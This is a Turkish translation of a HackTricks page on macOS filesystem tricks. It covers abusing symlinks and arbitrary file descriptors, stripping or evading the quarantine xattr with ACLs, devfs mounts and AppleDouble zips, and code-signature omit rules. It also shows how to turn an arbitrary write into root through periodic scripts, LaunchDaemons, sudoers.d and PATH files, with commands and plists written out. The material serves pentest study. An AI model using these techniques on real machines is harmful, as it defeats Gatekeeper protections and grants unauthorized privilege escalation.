13 KiB
macOS FS Hileleri
A'dan Z'ye AWS hackleme konusunu öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
POSIX izin kombinasyonları
Bir dizin içindeki izinler:
- okuma - dizin girişlerini listeleyebilirsiniz
- yazma - dizinde dosyaları silebilir/yazabilirsiniz ve boş klasörleri silebilirsiniz.
- Ancak doluluk klasörlerini silemez/değiştiremezsiniz yazma izniniz olmadıkça.
- Bir klasörün adını değiştiremezsiniz sahip olmadıkça.
- çalıştırma - dizini gezebilmenize izin verilir - bu hakkınız yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.
Tehlikeli Kombinasyonlar
Root'a ait bir dosya/dizini nasıl üzerine yazabilirsiniz, ancak:
- Yol üzerinde bir ebeveyn dizin sahibi kullanıcı ise
- Yol üzerinde bir ebeveyn dizin sahibi kullanıcı grubu ve yazma erişimi varsa
- Bir kullanıcı grubunun dosyaya yazma erişimi varsa
Önceki kombinasyonlardan herhangi biriyle, bir saldırgan ayrıcalıklı keyfi yazma elde etmek için beklenen yola bir sembolik/sabit bağ enjekte edebilir.
Dizin kökü R+X Özel durum
Eğer bir dizinde yalnızca root'un R+X erişimi varsa dosyalar başka kimseye erişilemez. Bu nedenle, bir kullanıcı tarafından okunabilen ancak bu kısıtlama nedeniyle okunamayan bir dosyanın bu klasörden başka bir klasöre taşınmasına izin veren bir zafiyet, bu dosyaları okumak için kötüye kullanılabilir.
Sembolik Bağlantı / Sabit Bağlantı
Eğer ayrıcalıklı bir işlem düşük ayrıcalıklı bir kullanıcı tarafından kontrol edilebilen bir dosyaya yazıyorsa, veya daha önceden düşük ayrıcalıklı bir kullanıcı tarafından oluşturulmuşsa. Kullanıcı sadece bir Sembolik veya Sabit bağlantı aracılığıyla onu başka bir dosyaya yönlendirebilir ve ayrıcalıklı işlem o dosyaya yazacaktır.
Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı kötüye kullanabileceği diğer bölümlere bakın.
.fileloc
.fileloc
uzantılı dosyalar diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldığında uygulama/ikili dosya çalıştırılacaktır.
Örnek:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
Keyfi FD
Eğer bir işlemi yüksek ayrıcalıklarla bir dosya veya klasör açmaya zorlayabilirseniz, crontab
'ı kötüye kullanarak /etc/sudoers.d
içindeki bir dosyayı EDITOR=exploit.py
ile açabilirsiniz, böylece exploit.py
/etc/sudoers
içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.
Örneğin: https://youtu.be/f1HA5QhLQ7Y?t=21098
Karantina xattrs hilelerinden kaçınma
Kaldırma
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable bayrağı
Bir dosya/dizin bu değişmez özelliğe sahipse üzerine bir xattr eklemek mümkün olmayacaktır.
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs mount
Bir devfs bağlantısı xattr'ı desteklemez, daha fazla bilgi için CVE-2023-32364 adresine bakın.
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
writeextattr ACL
Bu ACL, dosyaya xattrs
eklenmesini engeller.
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble dosya formatı, dosyayı ACE'leriyle birlikte kopyalar.
Kaynak kodunda görülebileceği gibi, com.apple.acl.text
adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile AppleDouble dosya formatına sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamış olacaktır:
Daha fazla bilgi için orijinal rapora bakın.
Bunu çoğaltmak için önce doğru acl dizesini almalıyız:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(Not: Bu çalışsa bile, kum havuzu yazma karantina xattr'yi önce yazar)
Gerçekten gerekli değil ama her ihtimale karşı orada bırakıyorum:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}
Kod İmzalarını Atlatma
Bundles, _CodeSignature/CodeResources
dosyasını içerir, bu dosya bündle içindeki her dosyanın karma değerini içerir. CodeResources'un karma değeri aynı zamanda yürütülebilir dosyaya gömülüdür, bu yüzden onunla oynayamayız.
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
Aşağıdaki komutu kullanarak bir kaynağın imzasını CLI üzerinden hesaplamak mümkündür:
{% code overflow="wrap" %}
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
Dmg'leri Bağlama
Bir kullanıcı, hatta bazı mevcut klasörlerin üstüne bile oluşturulmuş özel bir dmg'yi bağlayabilir. Özel içeriğe sahip bir özel dmg paketi oluşturabileceğiniz şu şekilde:
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
{% endcode %}
Genellikle macOS, com.apple.DiskArbitrarion.diskarbitrariond
Mach hizmetiyle konuşarak disk bağlar (/usr/libexec/diskarbitrationd
tarafından sağlanır). Başlatma Daemon'ları plist dosyasına -d
parametresini ekleyerek ve yeniden başlatarak, logları /var/log/diskarbitrationd.log
dosyasında saklayacaktır.
Ancak, hdik
ve hdiutil
gibi araçları kullanarak doğrudan com.apple.driver.DiskImages
kext'i ile iletişim kurmak mümkündür.
Keyfi Yazma
Periyodik sh betikleri
Eğer betiğiniz bir shell betiği olarak yorumlanabilirse, her gün tetiklenecek olan /etc/periodic/daily/999.local
shell betiğini üzerine yazabilirsiniz.
Bu betiği şu şekilde sahte bir şekilde çalıştırabilirsiniz: sudo periodic daily
Daemonlar
Keyfi bir LaunchDaemon yazın, örneğin /Library/LaunchDaemons/xyz.hacktricks.privesc.plist
adında bir plist dosyası oluşturun ve keyfi bir betik çalıştıran bir plist dosyası oluşturun:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Sudoers Dosyası
Eğer keyfi yazma yetkiniz varsa, kendinize sudo ayrıcalıkları tanıyan bir dosya oluşturabilirsiniz. Bu dosya /etc/sudoers.d/
klasörü içinde yer almalıdır.
PATH Dosyaları
/etc/paths
dosyası, PATH ortam değişkenini dolduran ana yerlerden biridir. Bu dosyayı üzerine yazmak için root olmanız gerekir, ancak bir yetkili işlem tarafından tam yol olmadan komut çalıştırılıyorsa, bu dosyayı değiştirerek onu ele geçirebilirsiniz.
PATH
ortam değişkenine yeni klasörler yüklemek için /etc/paths.d
içine dosyalar yazabilirsiniz.
Diğer kullanıcılar tarafından yazılabilir dosyalar oluşturma
Bu, root'a ait ancak benim tarafımdan yazılabilir bir dosya oluşturacaktır (buradan kod). Bu ayrıca bir ayrıcalık yükseltme olarak çalışabilir.
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
Referanslar
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.